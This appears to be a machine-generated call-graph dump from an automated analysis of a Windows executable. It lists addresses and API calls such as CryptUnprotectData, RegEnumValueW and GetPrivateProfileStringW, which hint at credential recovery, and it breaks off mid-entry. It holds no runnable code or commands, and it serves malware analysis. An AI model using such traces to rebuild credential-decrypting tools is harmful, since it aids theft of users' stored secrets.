CloseHandle CloseHandle 39074->39075 39076 40e10b MapViewOfFile 39074->39076 39075->39066 39077 40e13b CloseHandle 39076->39077 39078 40e11f WriteFile UnmapViewOfFile 39076->39078 39077->39075 39078->39077 39080 40e18c 39079->39080 39081 406b90 11 API calls 39080->39081 39082 40e19f 39081->39082 39083 40e1a7 memset 39082->39083 39084 40e299 39082->39084 39089 40e1e8 39083->39089 39085 4069a3 ??3@YAXPAX free 39084->39085 39086 40e2a4 39085->39086 39086->39052 39087 406e8f 13 API calls 39087->39089 39088 406b53 SetFilePointerEx ReadFile 39088->39089 39089->39087 39089->39088 39090 40e283 39089->39090 39091 40dd50 _wcsicmp 39089->39091 39095 40742e 8 API calls 39089->39095 39096 40aae3 wcslen wcslen _memicmp 39089->39096 39097 40e244 _snwprintf 39089->39097 39092 40e291 39090->39092 39093 40e288 free 39090->39093 39091->39089 39094 40aa04 free 39092->39094 39093->39092 39094->39084 39095->39089 39096->39089 39098 40a8d0 7 API calls 39097->39098 39098->39089 39099->39052 39100->39037 39102 40a980 39101->39102 39103 40a8bb 39102->39103 39104 40a995 _wcsicmp 39102->39104 39105 40a99c wcscmp 39102->39105 39103->38976 39103->38977 39104->39102 39105->39102 39106->38980 39107->38984 39109 40aa23 RegEnumValueW 39108->39109 39109->38991 39109->38992 39111 405335 39110->39111 39112 40522a 39110->39112 39111->38571 39113 40b2cc 27 API calls 39112->39113 39114 405234 39113->39114 39115 40a804 8 API calls 39114->39115 39116 40523a 39115->39116 39155 40b273 39116->39155 39118 405248 _mbscpy _mbscat GetProcAddress 39119 40b273 27 API calls 39118->39119 39120 405279 39119->39120 39158 405211 GetProcAddress 39120->39158 39122 405282 39123 40b273 27 API calls 39122->39123 39124 40528f 39123->39124 39159 405211 GetProcAddress 39124->39159 39126 405298 39127 40b273 27 API calls 39126->39127 39128 4052a5 39127->39128 39160 405211 GetProcAddress 39128->39160 39130 4052ae 39131 40b273 27 API calls 39130->39131 39132 4052bb 39131->39132 39161 405211 GetProcAddress 39132->39161 39134 4052c4 39135 40b273 27 API calls 39134->39135 39136 4052d1 39135->39136 39162 405211 GetProcAddress 39136->39162 39138 4052da 39139 40b273 27 API calls 39138->39139 39140 4052e7 39139->39140 39163 405211 GetProcAddress 39140->39163 39156 40b58d 27 API calls 39155->39156 39157 40b18c 39156->39157 39157->39118 39158->39122 39159->39126 39160->39130 39161->39134 39162->39138 39168 40440c FreeLibrary 39167->39168 39169 40436d 39168->39169 39170 40a804 8 API calls 39169->39170 39171 404377 39170->39171 39172 404383 39171->39172 39173 404405 39171->39173 39174 40b273 27 API calls 39172->39174 39173->38579 39173->38583 39175 40438d GetProcAddress 39174->39175 39176 40b273 27 API calls 39175->39176 39177 4043a7 GetProcAddress 39176->39177 39178 40b273 27 API calls 39177->39178 39179 4043ba GetProcAddress 39178->39179 39180 40b273 27 API calls 39179->39180 39181 4043ce GetProcAddress 39180->39181 39182 40b273 27 API calls 39181->39182 39183 4043e2 GetProcAddress 39182->39183 39184 4043f1 39183->39184 39185 4043f7 39184->39185 39186 40440c FreeLibrary 39184->39186 39185->39173 39186->39173 39188 404413 FreeLibrary 39187->39188 39189 40441e 39187->39189 39188->39189 39189->38595 39190->38587 39192 40447e 39191->39192 39193 40442e 39191->39193 39194 404485 CryptUnprotectData 39192->39194 39195 40449c 39192->39195 39196 40b2cc 27 API calls 39193->39196 39194->39195 39195->38587 39197 404438 39196->39197 39198 40a804 8 API calls 39197->39198 39199 40443e 39198->39199 39200 404445 39199->39200 39201 404467 39199->39201 39202 40b273 27 API calls 39200->39202 39201->39192 39203 404475 FreeLibrary 39201->39203 39204 40444f GetProcAddress 39202->39204 39203->39192 39204->39201 39205 404460 39204->39205 39205->39201 39207 4135f6 39206->39207 39208 4135eb FreeLibrary 39206->39208 39207->38598 39208->39207 39210 4449c4 39209->39210 39211 444a52 39209->39211 39212 40b2cc 27 API calls 39210->39212 39211->38618 39211->38619 39213 4449cb 39212->39213 39214 40a804 8 API calls 39213->39214 39215 4449d1 39214->39215 39230->38629 39236 403a29 39235->39236 39250 403bed memset memset 39236->39250 39238 403ae7 39263 40b1ab free free 39238->39263 39239 403a3f memset 39244 403a2f 39239->39244 39241 403aef 39241->38636 39242 40a8d0 7 API calls 39242->39244 39243 409d1f 6 API calls 39243->39244 39244->39238 39244->39239 39244->39242 39244->39243 39245 409b98 GetFileAttributesW 39244->39245 39245->39244 39247 40a051 GetFileTime CloseHandle 39246->39247 39248 4039ca CompareFileTime 39246->39248 39247->39248 39248->38636 39249->38637 39251 414c2e 17 API calls 39250->39251 39252 403c38 39251->39252 39253 409719 2 API calls 39252->39253 39254 403c3f wcscat 39253->39254 39255 414c2e 17 API calls 39254->39255 39256 403c61 39255->39256 39257 409719 2 API calls 39256->39257 39258 403c68 wcscat 39257->39258 39264 403af5 39258->39264 39261 403af5 20 API calls 39262 403c95 39261->39262 39262->39244 39263->39241 39265 403b02 39264->39265 39266 40ae18 9 API calls 39265->39266 39274 403b37 39266->39274 39267 403bdb 39269 40aebe FindClose 39267->39269 39268 40add4 wcscmp wcscmp 39268->39274 39270 403be6 39269->39270 39270->39261 39271 40ae18 9 API calls 39271->39274 39272 40ae51 9 API calls 39272->39274 39273 40aebe FindClose 39273->39274 39274->39267 39274->39268 39274->39271 39274->39272 39274->39273 39275 40a8d0 7 API calls 39274->39275 39275->39274 39277 409d1f 6 API calls 39276->39277 39278 404190 39277->39278 39291 409b98 GetFileAttributesW 39278->39291 39280 40419c 39281 4041a7 6 API calls 39280->39281 39282 40435c 39280->39282 39284 40424f 39281->39284 39282->38663 39284->39282 39285 40425e memset 39284->39285 39287 409d1f 6 API calls 39284->39287 39288 40a8ab 9 API calls 39284->39288 39292 414842 39284->39292 39285->39284 39286 404296 wcscpy 39285->39286 39286->39284 39287->39284 39289 4042b6 memset memset _snwprintf wcscpy 39288->39289 39289->39284 39290->38661 39291->39280 39295 41443e 39292->39295 39294 414866 39294->39284 39296 41444b 39295->39296 39297 414451 39296->39297 39298 4144a3 GetPrivateProfileStringW 39296->39298 39299 414491 39297->39299 39300 414455 wcschr 39297->39300 39298->39294 39302 414495 WritePrivateProfileStringW 39299->39302 39300->39299 39301 414463 _snwprintf 39300->39301 39301->39302 39302->39294 39303->38667 39305 40b2cc 27 API calls 39304->39305 39306 409615 39305->39306 39307 409d1f 6 API calls 39306->39307 39308 409625 39307->39308 39331 409b98 GetFileAttributesW 39308->39331 39310 409634 39311 409648 39310->39311 39348 4091b8 241 API calls 39310->39348 39313 40b2cc 27 API calls 39311->39313 39315 408801 39311->39315 39314 40965d 39313->39314 39316 409d1f 6 API calls 39314->39316 39315->38670 39315->38671 39317 40966d 39316->39317 39332 409b98 GetFileAttributesW 39317->39332 39319 40967c 39319->39315 39333 409529 39319->39333 39331->39310 39332->39319 39349 4096c3 CreateFileW 39333->39349 39335 409543 39336 409550 GetFileSize 39335->39336 39347 4095cd 39335->39347 39337 409577 CloseHandle 39336->39337 39338 40955f 39336->39338 39337->39347 39347->39315 39348->39311 39349->39335 39380 413f4f 39353->39380 39356 413f37 K32GetModuleFileNameExW 39357 413f4a 39356->39357 39357->38731 39359 413969 wcscpy 39358->39359 39360 41396c wcschr 39358->39360 39371 413a3a 39359->39371 39360->39359 39362 41398e 39360->39362 39385 4097f7 wcslen wcslen _memicmp 39362->39385 39364 41399a 39365 4139a4 memset 39364->39365 39366 4139e6 39364->39366 39386 409dd5 GetWindowsDirectoryW wcscpy 39365->39386 39367 413a31 wcscpy 39366->39367 39368 4139ec memset 39366->39368 39367->39371 39387 409dd5 GetWindowsDirectoryW wcscpy 39368->39387 39371->38731 39372 4139c9 wcscpy wcscat 39372->39371 39373 413a11 memcpy wcscat 39373->39371 39375 413cb0 GetModuleHandleW 39374->39375 39376 413cda 39374->39376 39375->39376 39377 413cbf GetProcAddress 39375->39377 39378 413ce3 GetProcessTimes 39376->39378 39379 413cf6 39376->39379 39377->39376 39378->38733 39379->38733 39381 413f2f 39380->39381 39382 413f54 39380->39382 39381->39356 39381->39357 39383 40a804 8 API calls 39382->39383 39384 413f5f GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 39383->39384 39384->39381 39385->39364 39386->39372 39387->39373 39388->38754 39389->38776 39391 409cf9 GetVersionExW 39390->39391 39392 409d0a 39390->39392 39391->39392 39392->38783 39392->38788 39393->38790 39394->38793 39395->38795 39396->38840 39398 40bba5 39397->39398 39513 40cc26 39398->39513 39401 40bd4b 39534 40cc0c 39401->39534 39406 40b2cc 27 API calls 39407 40bbef 39406->39407 39541 40ccf0 _wcsicmp 39407->39541 39409 40bbf5 39409->39401 39542 40ccb4 6 API calls 39409->39542 39411 40bc26 39412 40cf04 17 API calls 39411->39412 39413 40bc2e 39412->39413 39414 40bd43 39413->39414 39415 40b2cc 27 API calls 39413->39415 39416 40cc0c 4 API calls 39414->39416 39417 40bc40 39415->39417 39416->39401 39543 40ccf0 _wcsicmp 39417->39543 39419 40bc46 39419->39414 39420 40bc61 memset memset WideCharToMultiByte 39419->39420 39544 40103c strlen 39420->39544 39422 40bcc0 39423 40b273 27 API calls 39422->39423 39424 40bcd0 memcmp 39423->39424 39424->39414 39425 40bce2 39424->39425 39426 404423 38 API calls 39425->39426 39427 40bd10 39426->39427 39427->39414 39428 40bd3a LocalFree 39427->39428 39429 40bd1f memcpy 39427->39429 39428->39414 39429->39428 39430->38855 39432 4438b5 11 API calls 39431->39432 39433 44444c 39432->39433 39439 40b879 39433->39439 39604 415a6d 39433->39604 39435 444486 39438 4444b9 memcpy 39435->39438 39476 4444a4 39435->39476 39437 44469e 39437->39439 39659 443d90 111 API calls 39437->39659 39608 415258 39438->39608 39439->38858 39439->38859 39442 444524 39443 444541 39442->39443 39444 44452a 39442->39444 39611 444316 39443->39611 39645 416935 39444->39645 39448 444316 18 API calls 39449 444563 39448->39449 39450 444316 18 API calls 39449->39450 39451 44456f 39450->39451 39452 444316 18 API calls 39451->39452 39453 44457f 39452->39453 39453->39476 39625 432d4e 39453->39625 39456 444316 18 API calls 39457 4445b0 39456->39457 39629 41eed2 39457->39629 39459 4445cf 39460 4445d6 39459->39460 39461 4445ee 39459->39461 39463 416935 16 API calls 39460->39463 39653 43302c memset 39461->39653 39463->39476 39464 4445fa 39654 43302c memset 39464->39654 39658 4442e6 11 API calls 39476->39658 39704 438460 39477->39704 39479 40b8a4 39479->38867 39483 4251c4 39479->39483 39481 409a74 GetTempFileNameW 39480->39481 39482 409a66 GetWindowsDirectoryW 39480->39482 39481->38853 39482->39481 39798 424f07 39483->39798 39485 4251e4 39486 4251f7 39485->39486 39487 4251e8 39485->39487 39806 4250f8 39486->39806 39805 4446ea 11 API calls 39487->39805 39489 4251f2 39489->38891 39491 425209 39494 425249 39491->39494 39497 4250f8 127 API calls 39491->39497 39498 425287 39491->39498 39814 4384e9 135 API calls 39491->39814 39815 424f74 124 API calls 39491->39815 39494->39498 39816 424ff0 13 API calls 39494->39816 39497->39491 39818 415c7d 16 API calls 39498->39818 39499 425266 39499->39498 39817 415be9 memcpy 39499->39817 39501->38891 39502->38891 39503->38891 39504->38891 39505->38891 39506->38891 39507->38891 39508->38891 39509->38891 39510->38867 39511->38858 39512->38888 39545 4096c3 CreateFileW 39513->39545 39515 40cc34 39516 40cc3d GetFileSize 39515->39516 39524 40bbca 39515->39524 39517 40afcf 2 API calls 39516->39517 39518 40cc64 39517->39518 39546 40a2ef ReadFile 39518->39546 39520 40cc71 39547 40ab4a MultiByteToWideChar 39520->39547 39522 40cc95 CloseHandle 39523 40b04b ??3@YAXPAX 39522->39523 39523->39524 39524->39401 39525 40cf04 39524->39525 39526 40b633 free 39525->39526 39527 40cf14 39526->39527 39553 40b1ab free free 39527->39553 39529 40bbdd 39529->39401 39529->39406 39530 40cf1b 39530->39529 39532 40cfef 39530->39532 39554 40cd4b 39530->39554 39533 40cd4b 14 API calls 39532->39533 39533->39529 39535 40b633 free 39534->39535 39536 40cc15 39535->39536 39537 40aa04 free 39536->39537 39538 40cc1d 39537->39538 39603 40b1ab free free 39538->39603 39540 40b7d4 memset CreateFileW 39540->38847 39540->38848 39541->39409 39542->39411 39543->39419 39544->39422 39545->39515 39546->39520 39548 40ab93 39547->39548 39549 40ab6b 39547->39549 39548->39522 39550 40a9ce 4 API calls 39549->39550 39551 40ab74 39550->39551 39552 40ab7c MultiByteToWideChar 39551->39552 39552->39548 39553->39530 39555 40cd7b 39554->39555 39588 40aa29 39555->39588 39557 40cef5 39558 40aa04 free 39557->39558 39559 40cefd 39558->39559 39559->39530 39561 40aa29 6 API calls 39562 40ce1d 39561->39562 39563 40aa29 6 API calls 39562->39563 39564 40ce3e 39563->39564 39565 40ce6a 39564->39565 39596 40abb7 wcslen memmove 39564->39596 39566 40ce9f 39565->39566 39599 40abb7 wcslen memmove 39565->39599 39568 40a8d0 7 API calls 39566->39568 39571 40ceb5 39568->39571 39569 40ce56 39597 40aa71 wcslen 39569->39597 39577 40a8d0 7 API calls 39571->39577 39573 40ce8b 39600 40aa71 wcslen 39573->39600 39574 40ce5e 39598 40abb7 wcslen memmove 39574->39598 39579 40cecb 39577->39579 39578 40ce93 39601 40abb7 wcslen memmove 39578->39601 39602 40d00b malloc memcpy free free 39579->39602 39582 40cedd 39583 40aa04 free 39582->39583 39584 40cee5 39583->39584 39585 40aa04 free 39584->39585 39586 40ceed 39585->39586 39587 40aa04 free 39586->39587 39587->39557 39589 40aa33 39588->39589 39590 40aa63 39588->39590 39591 40aa44 39589->39591 39592 40aa38 wcslen 39589->39592 39590->39557 39590->39561 39593 40a9ce malloc memcpy free free 39591->39593 39592->39591 39594 40aa4d 39593->39594 39594->39590 39595 40aa51 memcpy 39594->39595 39595->39590 39596->39569 39597->39574 39598->39565 39599->39573 39600->39578 39601->39566 39602->39582 39603->39540 39605 415a77 39604->39605 39606 415a8d 39605->39606 39607 415a7e memset 39605->39607 39606->39435 39607->39606 39609 4438b5 11 API calls 39608->39609 39610 41525d 39609->39610 39610->39442 39612 444328 39611->39612 39613 444423 39612->39613 39614 44434e 39612->39614 39660 4446ea 11 API calls 39613->39660 39616 432d4e 3 API calls 39614->39616 39617 44435a 39616->39617 39619 444375 39617->39619 39624 44438b 39617->39624 39618 432d4e 3 API calls 39620 4443ec 39618->39620 39621 416935 16 API calls 39619->39621 39622 444381 39620->39622 39623 416935 16 API calls 39620->39623 39621->39622 39622->39448 39623->39622 39624->39618 39626 432d65 39625->39626 39627 432d58 39625->39627 39626->39456 39661 432cc4 memset memset memcpy 39627->39661 39630 41eee2 39629->39630 39631 415a6d memset 39630->39631 39632 41ef23 39631->39632 39633 415a6d memset 39632->39633 39637 41ef2d 39632->39637 39634 41ef42 39633->39634 39638 41ef49 39634->39638 39662 41b7d9 39634->39662 39636 41ef66 39636->39638 39637->39459 39638->39637 39677 41b321 101 API calls 39638->39677 39646 41693e 39645->39646 39652 41698e 39645->39652 39647 41694c 39646->39647 39683 422fd1 memset 39646->39683 39647->39652 39684 4165a0 39647->39684 39652->39476 39653->39464 39658->39437 39659->39439 39660->39622 39661->39626 39668 41b812 39662->39668 39663 415a6d memset 39671 41b884 39668->39671 39674 41b849 39668->39674 39678 444706 11 API calls 39668->39678 39671->39663 39671->39674 39674->39636 39677->39637 39678->39671 39683->39647 39690 415cfe 39684->39690 39689 422b84 15 API calls 39689->39652 39695 415d23 __aullrem __aulldvrm 39690->39695 39697 41628e 39690->39697 39691 4163ca 39692 416422 10 API calls 39691->39692 39692->39697 39693 416172 memset 39693->39695 39694 416422 10 API calls 39694->39695 39695->39691 39695->39693 39695->39694 39696 415cb9 10 API calls 39695->39696 39695->39697 39696->39695 39698 416520 39697->39698 39699 416527 39698->39699 39703 416574 39698->39703 39700 416544 39699->39700 39701 415700 10 API calls 39699->39701 39699->39703 39702 416561 memcpy 39700->39702 39700->39703 39701->39700 39702->39703 39703->39652 39703->39689 39716 41703f 39704->39716 39706 43847a 39707 43848a 39706->39707 39708 43847e 39706->39708 39723 438270 39707->39723 39753 4446ea 11 API calls 39708->39753 39712 438488 39712->39479 39714 4384bb 39715 438270 134 API calls 39714->39715 39715->39712 39717 417044 39716->39717 39718 41705c 39716->39718 39722 417055 39717->39722 39755 416760 11 API calls 39717->39755 39719 417075 39718->39719 39756 41707a 11 API calls 39718->39756 39719->39706 39722->39706 39757 415a91 39723->39757 39725 43828d 39726 438297 39725->39726 39727 438341 39725->39727 39729 4382d6 39725->39729 39797 415c7d 16 API calls 39726->39797 39761 44358f 39727->39761 39732 4382fb 39729->39732 39733 4382db 39729->39733 39731 438458 39731->39712 39754 424f26 123 API calls 39731->39754 39793 415c23 memcpy 39732->39793 39735 416935 16 API calls 39733->39735 39737 4382e9 39735->39737 39736 438305 39740 44358f 19 API calls 39736->39740 39742 438318 39736->39742 39792 415c7d 16 API calls 39737->39792 39739 438373 39745 438383 39739->39745 39794 4300e8 memset memset memcpy 39739->39794 39740->39742 39742->39739 39787 43819e 39742->39787 39744 4383cd 39746 4383f5 39744->39746 39796 42453e 123 API calls 39744->39796 39745->39744 39795 415c23 memcpy 39745->39795 39749 438404 39746->39749 39750 43841c 39746->39750 39752 416935 16 API calls 39749->39752 39751 416935 16 API calls 39750->39751 39751->39726 39752->39726 39753->39712 39754->39714 39755->39722 39756->39717 39758 415a9d 39757->39758 39759 415ab3 39758->39759 39760 415aa4 memset 39758->39760 39759->39725 39760->39759 39763 4435be 39761->39763 39762 443676 39764 443758 39762->39764 39766 442ff8 19 API calls 39762->39766 39769 443737 39762->39769 39763->39762 39768 442ff8 19 API calls 39763->39768 39770 4436ce 39763->39770 39771 44366c 39763->39771 39785 44360c 39763->39785 39765 441409 memset 39764->39765 39776 443775 39764->39776 39765->39764 39766->39769 39767 442ff8 19 API calls 39767->39764 39768->39763 39769->39767 39773 4165ff 11 API calls 39770->39773 39774 4169a7 11 API calls 39771->39774 39772 4437be 39775 416760 11 API calls 39772->39775 39777 4437de 39772->39777 39773->39762 39774->39762 39775->39777 39776->39772 39781 415c56 11 API calls 39776->39781 39778 42463b memset memcpy 39777->39778 39780 443801 39777->39780 39778->39780 39779 443826 39782 43bd08 memset 39779->39782 39780->39779 39783 43024d memset 39780->39783 39781->39772 39784 443837 39782->39784 39783->39779 39784->39785 39786 43024d memset 39784->39786 39785->39742 39786->39784 39788 438246 39787->39788 39790 4381ba 39787->39790 39788->39739 39789 41f432 110 API calls 39789->39790 39790->39788 39790->39789 39791 41f638 104 API calls 39790->39791 39791->39790 39792->39726 39793->39736 39794->39745 39795->39744 39796->39746 39797->39731 39799 424f1f 39798->39799 39800 424f0c 39798->39800 39820 424eea 11 API calls 39799->39820 39819 416760 11 API calls 39800->39819 39803 424f18 39803->39485 39804 424f24 39804->39485 39805->39489 39807 425108 39806->39807 39813 42510d 39806->39813 39853 424f74 124 API calls 39807->39853 39810 42516e 39854 415c7d 16 API calls 39810->39854 39811 425115 39811->39491 39813->39811 39821 42569b 39813->39821 39814->39491 39815->39491 39816->39499 39817->39498 39818->39489 39819->39803 39820->39804 39822 4256f1 39821->39822 39849 4259c2 39821->39849 39828 4259da 39822->39828 39832 422aeb memset memcpy memcpy 39822->39832 39833 429a4d 39822->39833 39838 4260a1 39822->39838 39847 429ac1 39822->39847 39822->39849 39852 425a38 39822->39852 39855 4227f0 memset memcpy 39822->39855 39856 422b84 15 API calls 39822->39856 39857 422b5d memset memcpy memcpy 39822->39857 39858 422640 13 API calls 39822->39858 39860 4241fc 11 API calls 39822->39860 39861 42413a 90 API calls 39822->39861 39827 4260dd 39866 424251 120 API calls 39827->39866 39865 416760 11 API calls 39828->39865 39832->39822 39834 429a66 39833->39834 39835 429a9b 39833->39835 39867 415c56 11 API calls 39834->39867 39839 429a96 39835->39839 39869 416760 11 API calls 39835->39869 39864 415c56 11 API calls 39838->39864 39870 424251 120 API calls 39839->39870 39841 429a7a 39868 416760 11 API calls 39841->39868 39848 425ad6 39847->39848 39871 415c56 11 API calls 39847->39871 39848->39810 39849->39848 39859 415c56 11 API calls 39849->39859 39852->39849 39862 422640 13 API calls 39852->39862 39863 4226e0 12 API calls 39852->39863 39853->39813 39854->39811 39855->39822 39856->39822 39857->39822 39858->39822 39859->39828 39860->39822 39861->39822 39862->39852 39863->39852 39864->39828 39865->39827 39866->39848 39867->39841 39868->39839 39869->39839 39870->39847 39871->39828 39872->38927 39873->38935 39883 44def7 39884 44df07 39883->39884 39885 44df00 ??3@YAXPAX 39883->39885 39886 44df17 39884->39886 39887 44df10 ??3@YAXPAX 39884->39887 39885->39884 39888 44df27 39886->39888 39889 44df20 ??3@YAXPAX 39886->39889 39887->39886 39890 44df37 39888->39890 39891 44df30 ??3@YAXPAX 39888->39891 39889->39888 39891->39890 37666 44dea5 37667 44deb5 FreeLibrary 37666->37667 37668 44dec3 37666->37668 37667->37668 39892 4148b6 FindResourceW 39893 4148cf SizeofResource 39892->39893 39896 4148f9 39892->39896 39894 4148e0 LoadResource 39893->39894 39893->39896 39895 4148ee LockResource 39894->39895 39894->39896 39895->39896 39897 441b3f 39907 43a9f6 39897->39907 39899 441b61 40080 4386af memset 39899->40080 39901 44189a 39902 4418e2 39901->39902 39906 442bd4 39901->39906 39903 4418ea 39902->39903 40081 4414a9 12 API calls 39902->40081 39906->39903 40082 441409 memset 39906->40082 39908 43aa20 39907->39908 39909 43aadf 39907->39909 39908->39909 39910 43aa34 memset 39908->39910 39909->39899 39911 43aa56 39910->39911 39912 43aa4d 39910->39912 40083 43a6e7 39911->40083 40091 42c02e memset 39912->40091 39917 43aad3 40093 4169a7 11 API calls 39917->40093 39918 43aaae 39918->39909 39918->39917 39933 43aae5 39918->39933 39919 43ac18 39922 43ac47 39919->39922 40095 42bbd5 memcpy memcpy memcpy memset memcpy 39919->40095 39923 43aca8 39922->39923 40096 438eed 16 API calls 39922->40096 39926 43acd5 39923->39926 40098 4233ae 11 API calls 39923->40098 40099 423426 11 API calls 39926->40099 39927 43ac87 40097 4233c5 16 API calls 39927->40097 39931 43ace1 40100 439811 163 API calls 39931->40100 39932 43a9f6 161 API calls 39932->39933 39933->39909 39933->39919 39933->39932 40094 439bbb 22 API calls 39933->40094 39935 43acfd 39941 43ad2c 39935->39941 40101 438eed 16 API calls 39935->40101 39937 43ad19 40102 4233c5 16 API calls 39937->40102 39938 43ad58 40103 44081d 163 API calls 39938->40103 39941->39938 39944 43add9 39941->39944 39943 43ae3a memset 39945 43ae73 39943->39945 39944->39944 40107 423426 11 API calls 39944->40107 40108 42e1c0 147 API calls 39945->40108 39946 43adab 40105 438c4e 163 API calls 39946->40105 39949 43ad6c 39949->39909 39949->39946 40104 42370b memset memcpy memset 39949->40104 39950 43adcc 40106 440f84 12 API calls 39950->40106 39951 43ae96 40109 42e1c0 147 API calls 39951->40109 39955 43aea8 39956 43aec1 39955->39956 40110 42e199 147 API calls 39955->40110 39958 43af00 39956->39958 40111 42e1c0 147 API calls 39956->40111 39958->39909 39961 43af1a 39958->39961 39962 43b3d9 39958->39962 40112 438eed 16 API calls 39961->40112 39967 43b3f6 39962->39967 39971 43b4c8 39962->39971 39964 43b60f 39964->39909 40171 4393a5 17 API calls 39964->40171 39965 43af2f 40113 4233c5 16 API calls 39965->40113 40153 432878 12 API calls 39967->40153 39969 43af51 40114 423426 11 API calls 39969->40114 39977 43b4f2 39971->39977 40159 42bbd5 memcpy memcpy memcpy memset memcpy 39971->40159 39973 43af7d 40115 423426 11 API calls 39973->40115 40160 43a76c 21 API calls 39977->40160 39978 43b529 40161 44081d 163 API calls 39978->40161 39979 43b462 40155 423330 11 API calls 39979->40155 39980 43af94 40116 423330 11 API calls 39980->40116 39984 43b47e 39988 43b497 39984->39988 40156 42374a memcpy memset memcpy memcpy memcpy 39984->40156 39985 43b544 39989 43b55c 39985->39989 40162 42c02e memset 39985->40162 39986 43b428 39986->39979 40154 432b60 16 API calls 39986->40154 39987 43afca 40117 423330 11 API calls 39987->40117 40157 4233ae 11 API calls 39988->40157 40163 43a87a 163 API calls 39989->40163 39995 43afdb 40118 4233ae 11 API calls 39995->40118 39997 43b56c 40000 43b58a 39997->40000 40164 423330 11 API calls 39997->40164 39998 43b4b1 40158 423399 11 API calls 39998->40158 39999 43afee 40119 44081d 163 API calls 39999->40119 40165 440f84 12 API calls 40000->40165 40005 43b4c1 40167 42db80 163 API calls 40005->40167 40007 43b592 40166 43a82f 16 API calls 40007->40166 40010 43b5b4 40168 438c4e 163 API calls 40010->40168 40012 43b5cf 40169 42c02e memset 40012->40169 40014 43b1ef 40130 4233c5 16 API calls 40014->40130 40015 43b005 40015->39909 40018 43b01f 40015->40018 40120 42d836 163 API calls 40015->40120 40018->40014 40128 423330 11 API calls 40018->40128 40129 42d71d 163 API calls 40018->40129 40019 43b212 40131 423330 11 API calls 40019->40131 40020 43b087 40121 4233ae 11 API calls 40020->40121 40022 43add4 40022->39964 40170 438f86 16 API calls 40022->40170 40026 43b22a 40132 42ccb5 11 API calls 40026->40132 40028 43b10f 40124 423330 11 API calls 40028->40124 40029 43b23f 40133 4233ae 11 API calls 40029->40133 40031 43b257 40134 4233ae 11 API calls 40031->40134 40035 43b129 40125 4233ae 11 API calls 40035->40125 40036 43b26e 40135 4233ae 11 API calls 40036->40135 40039 43b09a 40039->40028 40122 42cc15 19 API calls 40039->40122 40123 4233ae 11 API calls 40039->40123 40040 43b282 40136 43a87a 163 API calls 40040->40136 40042 43b13c 40126 440f84 12 API calls 40042->40126 40044 43b29d 40137 423330 11 API calls 40044->40137 40047 43b15f 40127 4233ae 11 API calls 40047->40127 40048 43b2af 40050 43b2b8 40048->40050 40051 43b2ce 40048->40051 40138 4233ae 11 API calls 40050->40138 40139 440f84 12 API calls 40051->40139 40054 43b2da 40140 42370b memset memcpy memset 40054->40140 40055 43b2c9 40141 4233ae 11 API calls 40055->40141 40058 43b2f9 40142 423330 11 API calls 40058->40142 40060 43b30b 40143 423330 11 API calls 40060->40143 40062 43b325 40144 423399 11 API calls 40062->40144 40064 43b332 40145 4233ae 11 API calls 40064->40145 40066 43b354 40146 423399 11 API calls 40066->40146 40068 43b364 40147 43a82f 16 API calls 40068->40147 40070 43b370 40148 42db80 163 API calls 40070->40148 40072 43b380 40149 438c4e 163 API calls 40072->40149 40074 43b39e 40150 423399 11 API calls 40074->40150 40076 43b3ae 40151 43a76c 21 API calls 40076->40151 40078 43b3c3 40152 423399 11 API calls 40078->40152 40080->39901 40081->39903 40082->39906 40084 43a6f5 40083->40084 40085 43a765 40083->40085 40084->40085 40172 42a115 40084->40172 40085->39909 40092 4397fd memset 40085->40092 40089 43a73d 40089->40085 40090 42a115 147 API calls 40089->40090 40090->40085 40091->39911 40092->39918 40093->39909 40094->39933 40095->39922 40096->39927 40097->39923 40098->39926 40099->39931 40100->39935 40101->39937 40102->39941 40103->39949 40104->39946 40105->39950 40106->40022 40107->39943 40108->39951 40109->39955 40110->39956 40111->39956 40112->39965 40113->39969 40114->39973 40115->39980 40116->39987 40117->39995 40118->39999 40119->40015 40120->40020 40121->40039 40122->40039 40123->40039 40124->40035 40125->40042 40126->40047 40127->40018 40128->40018 40129->40018 40130->40019 40131->40026 40132->40029 40133->40031 40134->40036 40135->40040 40136->40044 40137->40048 40138->40055 40139->40054 40140->40055 40141->40058 40142->40060 40143->40062 40144->40064 40145->40066 40146->40068 40147->40070 40148->40072 40149->40074 40150->40076 40151->40078 40152->40022 40153->39986 40154->39979 40155->39984 40156->39988 40157->39998 40158->40005 40159->39977 40160->39978 40161->39985 40162->39989 40163->39997 40164->40000 40165->40007 40166->40005 40167->40010 40168->40012 40169->40022 40170->39964 40171->39909 40173 42a175 40172->40173 40175 42a122 40172->40175 40173->40085 40178 42b13b 147 API calls 40173->40178 40175->40173 40176 42a115 147 API calls 40175->40176 40179 43a174 40175->40179 40203 42a0a8 147 API calls 40175->40203 40176->40175 40178->40089 40193 43a196 40179->40193 40194 43a19e 40179->40194 40180 43a306 40180->40193 40219 4388c4 14 API calls 40180->40219 40183 42a115 147 API calls 40183->40194 40184 415a91 memset 40184->40194 40185 43a642 40185->40193 40223 4169a7 11 API calls 40185->40223 40189 43a635 40222 42c02e memset 40189->40222 40193->40175 40194->40180 40194->40183 40194->40184 40194->40193 40204 42ff8c 40194->40204 40212 4165ff 40194->40212 40215 439504 13 API calls 40194->40215 40216 4312d0 147 API calls 40194->40216 40217 42be4c memcpy memcpy memcpy memset memcpy 40194->40217 40218 43a121 11 API calls 40194->40218 40196 4169a7 11 API calls 40197 43a325 40196->40197 40197->40185 40197->40189 40197->40193 40197->40196 40198 42b5b5 memset memcpy 40197->40198 40199 42bf4c 14 API calls 40197->40199 40202 4165ff 11 API calls 40197->40202 40220 42b63e 14 API calls 40197->40220 40221 42bfcf memcpy 40197->40221 40198->40197 40199->40197 40202->40197 40203->40175 40224 43817e 40204->40224 40206 42ff99 40207 42ffe3 40206->40207 40208 42ffd0 40206->40208 40211 42ff9d 40206->40211 40229 4169a7 11 API calls 40207->40229 40228 4169a7 11 API calls 40208->40228 40211->40194 40213 4165a0 11 API calls 40212->40213 40214 41660d 40213->40214 40214->40194 40215->40194 40216->40194 40217->40194 40218->40194 40219->40197 40220->40197 40221->40197 40222->40185 40223->40193 40225 438187 40224->40225 40227 438192 40224->40227 40230 4380f6 40225->40230 40227->40206 40228->40211 40229->40211 40232 43811f 40230->40232 40231 438164 40231->40227 40232->40231 40235 437e5e 40232->40235 40258 4300e8 memset memset memcpy 40232->40258 40259 437d3c 40235->40259 40237 437eb3 40237->40232 40238 437ea9 40238->40237 40243 437f22 40238->40243 40274 41f432 40238->40274 40241 437f06 40321 415c56 11 API calls 40241->40321 40245 432d4e 3 API calls 40243->40245 40248 437f7f 40243->40248 40244 437f95 40322 